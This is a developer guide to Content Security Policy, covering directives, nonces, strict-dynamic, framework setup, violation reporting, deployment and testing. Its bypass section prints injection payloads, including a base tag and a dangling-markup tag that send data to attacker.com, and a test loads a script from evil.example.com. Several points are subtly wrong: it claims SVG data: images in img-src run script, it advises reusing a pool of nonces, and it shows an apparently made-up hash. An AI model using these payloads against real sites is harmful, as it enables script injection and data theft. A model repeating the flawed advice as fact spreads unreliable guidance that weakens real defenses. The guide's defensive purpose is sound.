Introduction
Content Security Policy (CSP) is the most powerful browser-based defense against cross-site scripting (XSS), clickjacking, and data injection attacks. By declaring which sources of content are trusted, CSP creates a whitelist that prevents the browser from executing malicious inline scripts, loading unauthorized resources, or submitting data to unexpected endpoints. Despite being over a decade old, CSP remains underutilized—only 5% of websites deploy a meaningful policy, and even fewer deploy one that actually prevents XSS.
Modern CSP (Level 3) goes far beyond simple script-src directives. Nonce-based policies, strict-dynamic propagation, and reporting endpoints provide granular control over resource loading while maintaining compatibility with modern JavaScript frameworks. Understanding CSP's directive hierarchy, bypass vectors, and deployment strategies is essential for any security-conscious development team.
This guide covers every CSP directive, implementation patterns for React and Next.js, common bypass techniques attackers use, and production deployment strategies that minimize breakage while maximizing protection.
Understanding CSP: Core Concepts
CSP operates through HTTP response headers that instruct the browser on which resource origins to trust. When a browser receives a Content-Security-Policy header, it enforces the declared restrictions by blocking any resource loading or script execution that violates the policy. Violations can be reported to a server endpoint for monitoring and incident response.
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; report-to csp-endpointThe policy consists of directives, each controlling a specific resource type. The default-src directive serves as a fallback for any directive not explicitly declared. For example, default-src 'self' restricts all resource loading to the same origin unless a specific directive overrides it. If you declare img-src https://images.unsplash.com but don't declare font-src, the font-src directive falls back to default-src.
How the Browser Evaluates CSP
When a browser encounters a resource request (a script tag, an image, a fetch call), it evaluates the request against the CSP in this order:
- Check if the request matches a more specific directive (e.g.,
script-srcfor scripts) - If no specific directive exists, fall back to
default-src - Evaluate the source list: check nonces, hashes, keywords, and origin patterns
- If the request matches any allowed source, permit it; otherwise, block it and fire a violation event
This evaluation happens synchronously for render-blocking resources (scripts, stylesheets) and asynchronously for non-blocking resources (images, fonts). Blocked resources trigger SecurityPolicyViolationEvent on the document, which you can listen to for debugging and reporting.
Complete Directive Reference
Fetch directives control where resources can be loaded from:
| Directive | Controls | Example |
|---|---|---|
script-src | JavaScript files and inline scripts | 'self' 'nonce-abc123' |
style-src | CSS files and inline styles | 'self' 'unsafe-inline' |
img-src | Images (img, picture, favicon) | 'self' data: https: |
font-src | Web fonts (@font-face) | 'self' https://fonts.gstatic.com |
connect-src | XMLHttpRequest, fetch, WebSocket, EventSource | 'self' https://api.example.com |
media-src | Audio and video elements | 'self' https://cdn.example.com |
object-src | <object>, <embed>, <applet> | 'none' |
frame-src | <iframe> sources | 'self' https://www.youtube.com |
worker-src | Web Workers, Service Workers | 'self' |
child-src | Deprecated fallback for frame-src and worker-src | — |
manifest-src | Web App Manifest files | 'self' |
prefetch-src | Prefetched/prerendered resources | 'self' |
Document directives control the document itself:
| Directive | Controls | Example |
|---|---|---|
base-uri | <base> element href | 'self' |
sandbox | Sandboxing flags for the page | allow-forms allow-scripts |
form-action | Form submission targets | 'self' |
frame-ancestors | Who can embed this page in an iframe | 'none' |
Navigation directives control where the user can navigate:
| Directive | Controls | Example |
|---|---|---|
navigate-to | Navigation targets (experimental) | 'self' https://example.com |
form-action | Form submission endpoints | 'self' https://api.example.com |
Special directives:
| Directive | Controls | Example |
|---|---|---|
upgrade-insecure-requests | Auto-upgrade HTTP to HTTPS | (no value) |
block-all-mixed-content | Block mixed content | (no value) |
require-trusted-types-for | Require Trusted Types for DOM sinks | 'script' |
trusted-types | Allowed Trusted Types policies | sanitize default |
Nonce-Based vs. Hash-Based Policies
Nonce-based policies use a randomly generated token per request, injected as an attribute on trusted inline scripts:
<script nonce="abc123def456">
// This script will execute
const app = new Application();
</script>
<script>
// This script will be BLOCKED (no nonce)
window.__injected = true;
</script>Content-Security-Policy: script-src 'nonce-abc123def456' 'strict-dynamic'The nonce must be:
- Cryptographically random (at least 128 bits of entropy)
- Unique per HTTP request (never reused)
- Unpredictable (attackers must not be able to guess it)
- Generated server-side and injected into both the CSP header and the HTML
Hash-based policies compute the SHA-256 digest of specific inline script content:
Content-Security-Policy: script-src 'sha256-BpfBw7ivZh82Ov7VQ9R9p07Fa2s3r5+V1kU5lV5lV5='The hash is computed on the exact script content (including whitespace). Any modification to the script text invalidates the hash, making hash-based policies best suited for static inline scripts that don't change between deployments.
// Generate CSP hash for an inline script
const crypto = require('crypto');
function generateCSPHash(scriptContent) {
const hash = crypto.createHash('sha256').update(scriptContent).digest('base64');
return `'sha256-${hash}'`;
}
const script = 'console.log("hello")';
console.log(generateCSPHash(script));
// Output: 'sha256-BpfBw7ivZh82Ov7VQ9R9p07Fa2s3r5+V1kU5lV5lV5='When to use which:
- Use nonces for dynamic applications where script content changes per request (SSR frameworks, dynamic inline scripts)
- Use hashes for static sites where inline scripts are fixed (landing pages, documentation sites)
- Use both if you have a mix of static and dynamic inline scripts
The 'strict-dynamic' Keyword
'strict-dynamic' is the most important CSP Level 3 feature. When present, it tells the browser to trust scripts loaded by already-trusted scripts, regardless of origin. This eliminates the need to whitelist every CDN URL and third-party script:
Content-Security-Policy: script-src 'nonce-abc123' 'strict-dynamic'With this policy:
- âś… Inline scripts with the correct nonce execute
- âś… Scripts loaded by trusted scripts execute (even from unlisted origins)
- ❌ Scripts without a nonce that aren't loaded by a trusted script are blocked
- ❌
'unsafe-inline'is ignored when'strict-dynamic'is present
This is critical because whitelisting specific script URLs (like https://cdn.example.com/script.js) is fragile. If the CDN is compromised or redirects to a malicious URL, CSP won't protect you. 'strict-dynamic' ensures only scripts that are programmatically loaded by already-trusted code can execute.
How strict-dynamic Propagation Works
When a script with a valid nonce creates a new <script> element and appends it to the DOM, the new script inherits trust from its creator. This is called "propagation" and it's what makes strict-dynamic so powerful:
// This works with strict-dynamic:
const script = document.createElement('script');
script.src = 'https://cdn.example.com/library.js';
document.body.appendChild(script);
// âś… Executes because the creating script had a valid nonce
// This also works:
const dynamicScript = document.createElement('script');
dynamicScript.textContent = 'console.log("dynamic")';
document.body.appendChild(dynamicScript);
// âś… Executes because the creating script had a valid nonce
// But this doesn't work:
// <script src="https://untrusted.com/malware.js"></script>
// ❌ Blocked because it wasn't created by a trusted scriptStep-by-Step Implementation
Basic CSP Configuration in Express.js
import crypto from 'crypto';
import express from 'express';
const app = express();
// Generate cryptographically secure nonce per request
app.use((req, res, next) => {
res.locals.nonce = crypto.randomBytes(16).toString('base64');
next();
});
// CSP middleware
app.use((req, res, next) => {
const nonce = res.locals.nonce;
const directives = [
`default-src 'self'`,
`script-src 'self' 'nonce-${nonce}' 'strict-dynamic'`,
`style-src 'self' 'unsafe-inline' https://fonts.googleapis.com`,
`img-src 'self' data: https://images.unsplash.com`,
`font-src 'self' https://fonts.gstatic.com`,
`connect-src 'self' https://api.yourdomain.com https://vitals.vercel-insights.com`,
`frame-ancestors 'none'`,
`base-uri 'self'`,
`form-action 'self'`,
`upgrade-insecure-requests`,
`report-to csp-endpoint`,
].join('; ');
res.setHeader('Content-Security-Policy', directives);
res.setHeader('Reporting-Endpoints', 'csp-endpoint="https://report.example.com/csp"');
next();
});Next.js CSP Implementation with Middleware
// next.config.js
const securityHeaders = [
{
key: 'Content-Security-Policy',
value: [
"default-src 'self'",
"script-src 'self' 'nonce-INLINE_NONCE' 'strict-dynamic'",
"style-src 'self' 'unsafe-inline'",
"img-src 'self' blob: data: https://*.unsplash.com",
"font-src 'self'",
"connect-src 'self' https://vitals.vercel-insights.com",
"frame-ancestors 'none'",
"base-uri 'self'",
"form-action 'self'",
"upgrade-insecure-requests",
].join('; '),
},
];
module.exports = {
async headers() {
return [{ source: '/(.*)', headers: securityHeaders }];
},
};Nonce Injection for React SSR
// middleware.ts — generate nonce per request
import { NextResponse } from 'next/server';
import type { NextRequest } from 'next/server';
import crypto from 'crypto';
export function middleware(request: NextRequest) {
const nonce = Buffer.from(crypto.randomUUID()).toString('base64');
const response = NextResponse.next();
// Pass nonce to the page via header
request.headers.set('x-nonce', nonce);
// Set CSP header with nonce
response.headers.set(
'Content-Security-Policy',
[
`script-src 'self' 'nonce-${nonce}' 'strict-dynamic'`,
`style-src 'self' 'unsafe-inline'`,
`img-src 'self' data: https://images.unsplash.com`,
`connect-src 'self' https://vitals.vercel-insights.com`,
`base-uri 'self'`,
`form-action 'self'`,
].join('; ')
);
return response;
}
// pages/_document.tsx — inject nonce into HTML
import { Html, Head, Main, NextScript } from 'next/document';
export default function Document({ nonce }: { nonce: string }) {
return (
<Html lang="en">
<Head nonce={nonce} />
<body>
<Main />
<NextScript nonce={nonce} />
</body>
</Html>
);
}CSP for Single-Page Applications (SPAs)
SPAs present unique challenges because they load scripts dynamically and often use inline styles for CSS-in-JS libraries:
// Vue.js CSP configuration
const cspConfig = {
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", `'nonce-${nonce}'`, "'strict-dynamic'"],
styleSrc: ["'self'", "'unsafe-inline'"], // Required for most CSS-in-JS
imgSrc: ["'self'", "data:", "https:"],
connectSrc: ["'self'", "https://api.example.com", "wss://ws.example.com"],
fontSrc: ["'self'", "https://fonts.gstatic.com"],
objectSrc: ["'none'"],
frameAncestors: ["'none'"],
baseUri: ["'self'"],
formAction: ["'self'"],
},
};Common CSP Bypass Techniques
Understanding bypass techniques helps you write stronger policies. Attackers use these methods to circumvent CSP:
1. Whitelist Bypass via JSONP Endpoints
If you whitelist a domain that hosts a JSONP endpoint, attackers can execute arbitrary JavaScript:
Content-Security-Policy: script-src 'self' https://www.google.com<!-- Attacker injects: -->
<script src="https://www.google.com/complete/search?client=chrome&q=xss&callback=alert"></script>Fix: Use 'strict-dynamic' with nonces instead of domain whitelisting.
2. Base URI Hijacking
If base-uri isn't restricted, attackers can set a <base> tag pointing to their server, causing relative URLs to load from the attacker's origin:
<base href="https://attacker.com/">
<script src="payload.js"></script> <!-- Loads from attacker.com -->Fix: Always include base-uri 'self' or base-uri 'none'.
3. CSP Bypass via data: URIs in img-src
If img-src allows data: URIs, attackers can inject SVG images with embedded JavaScript:
<img src="data:image/svg+xml,<svg onload='alert(1)'>">Fix: Avoid data: in img-src if possible, or use img-src 'self' without data:.
4. Path Confusion Bypass
Whitelisting paths (like https://cdn.example.com/scripts/) can be bypassed if the CDN allows redirects or serves user-uploaded content at that path.
Fix: Don't whitelist paths; use 'strict-dynamic' with nonces.
5. Prototype Pollution + CSP Bypass
If an attacker can pollute Object.prototype, they can sometimes trick CSP into allowing script execution through gadget chains.
Fix: Use 'strict-dynamic' and Trusted Types together.
6. Dangling Markup Injection
Attackers can inject partial HTML that captures subsequent content and sends it to an attacker-controlled endpoint:
<img src="https://attacker.com/?capture=Everything after this tag until the next quote becomes part of the URL, potentially leaking CSRF tokens or sensitive data.
Fix: Use CSP's form-action directive to restrict form submissions and connect-src to restrict fetch/XHR targets.
CSP Reporting Infrastructure
CSP violation reports are essential for monitoring attacks and debugging policy issues. There are two reporting mechanisms:
Reporting Endpoints (Level 3)
Content-Security-Policy: report-to csp-endpoint
Reporting-Endpoints: csp-endpoint="https://report.example.com/csp"Legacy Report-URI (Deprecated)
Content-Security-Policy: report-uri https://report.example.com/cspSetting Up a Reporting Endpoint
import express from 'express';
import { createWriteStream } from 'fs';
const app = express();
const reportStream = createWriteStream('csp-reports.jsonl', { flags: 'a' });
app.post('/csp-report', express.json({ type: 'application/csp-report' }), (req, res) => {
const report = req.body['csp-report'] || req.body;
const enrichedReport = {
timestamp: new Date().toISOString(),
documentUri: report['document-uri'],
violatedDirective: report['violated-directive'],
blockedUri: report['blocked-uri'],
sourceFile: report['source-file'],
lineNumber: report['line-number'],
columnNumber: report['column-number'],
originalPolicy: report['original-policy'],
userAgent: req.headers['user-agent'],
ip: req.ip,
};
reportStream.write(JSON.stringify(enrichedReport) + '\n');
if (isSuspiciousViolation(enrichedReport)) {
alertSecurityTeam(enrichedReport);
}
res.status(204).end();
});
function isSuspiciousViolation(report: any): boolean {
return report.violatedDirective?.includes('script-src');
}Analyzing CSP Reports
Build dashboards and alerts from your CSP reports:
function analyzeReports(reports: CSPReport[]): AnalysisResult {
const violations = reports.reduce((acc, report) => {
const key = `${report.violatedDirective}:${report.blockedUri}`;
acc[key] = (acc[key] || 0) + 1;
return acc;
}, {} as Record<string, number>);
const topViolations = Object.entries(violations)
.sort(([, a], [, b]) => b - a)
.slice(0, 20);
const falsePositives = topViolations.filter(([key]) =>
key.includes('extension://') ||
key.includes('about:') ||
key.includes('data:')
);
const realViolations = topViolations.filter(([key]) =>
!falsePositives.some(([fk]) => fk === key)
);
return { topViolations, falsePositives, realViolations };
}Real-World Deployment Strategy
Phase 1: Report-Only Mode (Weeks 1-2)
Deploy CSP in Report-Only mode to collect violation data without breaking anything:
Content-Security-Policy-Report-Only: default-src 'self'; script-src 'self'; report-to csp-endpointAnalyze violation reports to identify legitimate resources that need whitelisting. Pay special attention to:
- Browser extension violations (filter these out)
- Third-party analytics and tracking scripts
- CDN-hosted assets
- Inline scripts from your framework
Phase 2: Enforce with Lenient Policy (Weeks 3-4)
Start enforcing but with 'unsafe-inline' for scripts (temporary):
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' https:; style-src 'self' 'unsafe-inline'; report-to csp-endpointPhase 3: Migrate to Nonce-Based Policy (Weeks 5-6)
Add nonce generation and switch to strict-dynamic:
Content-Security-Policy: script-src 'self' 'nonce-abc123' 'strict-dynamic'; style-src 'self' 'unsafe-inline'; report-to csp-endpointPhase 4: Harden and Monitor (Ongoing)
Remove unnecessary exceptions, add Trusted Types, and monitor for violations:
Content-Security-Policy: default-src 'self'; script-src 'nonce-abc123' 'strict-dynamic'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https://images.unsplash.com; font-src 'self'; connect-src 'self' https://api.example.com; frame-ancestors 'none'; base-uri 'self'; form-action 'self'; require-trusted-types-for 'script'; trusted-types sanitize default; report-to csp-endpointCSP with Trusted Types for DOM XSS Prevention
Trusted Types is a browser API that prevents DOM XSS by requiring type-safe wrappers for dangerous sinks like innerHTML, eval(), and script.src:
const policy = trustedTypes.createPolicy('sanitize', {
createHTML: (input) => {
return DOMPurify.sanitize(input);
},
createScriptURL: (input) => {
const url = new URL(input, document.baseURI);
if (url.origin !== location.origin) throw new Error('Blocked script URL');
return url.toString();
},
createScript: (input) => {
if (input.includes('eval')) throw new Error('eval blocked');
return input;
},
});
// Usage — these are now safe
element.innerHTML = policy.createHTML(userInput);
script.src = policy.createScriptURL(trustedUrl);Enable Trusted Types in CSP:
Content-Security-Policy: require-trusted-types-for 'script'; trusted-types sanitize default; script-src 'nonce-abc123' 'strict-dynamic'Trusted Types work by intercepting assignments to dangerous DOM sinks. Instead of allowing raw strings to be assigned to innerHTML or eval(), the browser requires values from a registered policy. This eliminates the entire class of DOM-based XSS vulnerabilities where attacker-controlled data reaches a script execution sink.
Testing and Validation
// Playwright test for CSP enforcement
import { test, expect } from '@playwright/test';
test('CSP header is present and strong', async ({ page }) => {
const response = await page.goto('/');
const csp = response?.headers()['content-security-policy'];
expect(csp).toBeTruthy();
expect(csp).toContain("script-src 'self'");
expect(csp).not.toContain("'unsafe-eval'");
expect(csp).toContain("'strict-dynamic'");
expect(csp).toContain('report-to');
expect(csp).toContain("base-uri 'self'");
});
test('inline scripts without nonce are blocked', async ({ page }) => {
const violations: string[] = [];
page.on('console', (msg) => {
if (msg.text().includes('Content-Security-Policy')) {
violations.push(msg.text());
}
});
await page.evaluate(() => {
const script = document.createElement('script');
script.textContent = 'window.__injected = true;';
document.body.appendChild(script);
});
await page.waitForTimeout(500);
expect(violations.length).toBeGreaterThan(0);
expect((page as any).__injected).toBeUndefined();
});
test('external scripts from untrusted origins are blocked', async ({ page }) => {
const violations: string[] = [];
page.on('console', (msg) => {
if (msg.text().includes('Content-Security-Policy')) {
violations.push(msg.text());
}
});
await page.evaluate(() => {
const script = document.createElement('script');
script.src = 'https://evil.example.com/malware.js';
document.body.appendChild(script);
});
await page.waitForTimeout(1000);
expect(violations.length).toBeGreaterThan(0);
});Automated CSP Testing in CI/CD
function auditCSP(policyString: string): AuditResult {
const issues: string[] = [];
const warnings: string[] = [];
if (policyString.includes("'unsafe-inline'") && policyString.includes('script-src')) {
issues.push("script-src contains 'unsafe-inline' — vulnerable to XSS");
}
if (policyString.includes("'unsafe-eval'")) {
issues.push("Contains 'unsafe-eval' — allows eval() and similar");
}
if (policyString.includes('data:') && policyString.includes('script-src')) {
issues.push("script-src allows data: URIs — potential XSS vector");
}
if (!policyString.includes('base-uri')) {
warnings.push("Missing base-uri directive — vulnerable to base tag injection");
}
if (!policyString.includes('form-action')) {
warnings.push("Missing form-action directive — forms can submit anywhere");
}
if (!policyString.includes('frame-ancestors')) {
warnings.push("Missing frame-ancestors — page can be embedded in iframes");
}
if (!policyString.includes("'strict-dynamic'")) {
warnings.push("Consider adding 'strict-dynamic' for better security");
}
return { issues, warnings, passed: issues.length === 0 };
}Performance Considerations
CSP has minimal runtime overhead—the browser evaluates the policy once per resource load. However, nonce generation and header injection add latency to server-side rendering:
import { randomBytes } from 'crypto';
function getNonce(): string {
return randomBytes(16).toString('base64');
}CSP violations also have a performance impact. In Report-Only mode, violation reports are sent asynchronously and don't block rendering. In enforcement mode, blocked resources are simply not loaded, which can actually improve page load performance by preventing third-party scripts from slowing down your site.
Performance Tips
- Cache nonces in memory: Generate a pool of nonces during server startup and distribute them round-robin
- Use
report-toinstead ofreport-uri: The newer reporting API is more efficient and supports batching - Filter violation reports: Don't report violations from browser extensions or internal browser pages
- Use
Content-Security-Policy-Report-Onlyfor testing: This has zero impact on page behavior while still collecting reports
Comparison with Other Security Headers
| Header | Purpose | CSP Equivalent |
|---|---|---|
X-Frame-Options | Prevent clickjacking | frame-ancestors 'none' |
X-Content-Type-Options | Prevent MIME sniffing | No CSP equivalent |
Referrer-Policy | Control referrer information | No CSP equivalent |
Permissions-Policy | Control browser features | No CSP equivalent |
Strict-Transport-Security | Force HTTPS | upgrade-insecure-requests |
CSP works best alongside these headers. A complete security header configuration:
const securityHeaders = [
{ key: 'Content-Security-Policy', value: cspHeader },
{ key: 'X-Frame-Options', value: 'DENY' },
{ key: 'X-Content-Type-Options', value: 'nosniff' },
{ key: 'Referrer-Policy', value: 'strict-origin-when-cross-origin' },
{ key: 'Strict-Transport-Security', value: 'max-age=63072000; includeSubDomains; preload' },
{ key: 'Permissions-Policy', value: 'camera=(), microphone=(), geolocation=()' },
];CSP Level 3 Features
CSP Level 3 introduced several important features beyond strict-dynamic:
unsafe-hashes for Inline Event Handlers
For inline event handlers that can't be removed immediately:
Content-Security-Policy: script-src 'unsafe-hashes' 'sha256-abc123...'This allows specific inline event handlers (like onclick) identified by their hash, without allowing all inline scripts.
Source Expressions with Paths
Content-Security-Policy: script-src https://cdn.example.com/scripts/Note: Path-based restrictions are weak because CDNs can be compromised. Prefer strict-dynamic with nonces.
Conclusion
Content Security Policy is the browser's most powerful defense against XSS and injection attacks, but its effectiveness depends entirely on proper deployment. Start with Report-Only mode, migrate to nonce-based 'strict-dynamic' policies, build robust violation reporting infrastructure, and automate policy validation.
Key implementation checklist:
- Generate cryptographically secure nonces per request using
crypto.randomBytes - Use
'strict-dynamic'to avoid whitelist maintenance and bypass risks - Deploy in Report-Only first for 2-4 weeks, analyzing violation reports
- Monitor violations continuously with alerting for anomalies
- Combine with Trusted Types for maximum DOM XSS protection
- Always include
base-uri 'self'andform-action 'self' - Never use
'unsafe-inline'for scripts—use nonces or hashes instead - Automate CSP validation in CI/CD to prevent policy regression
- Build a violation reporting endpoint with analysis dashboards
- Train your team on CSP concepts—most developers don't understand the policy model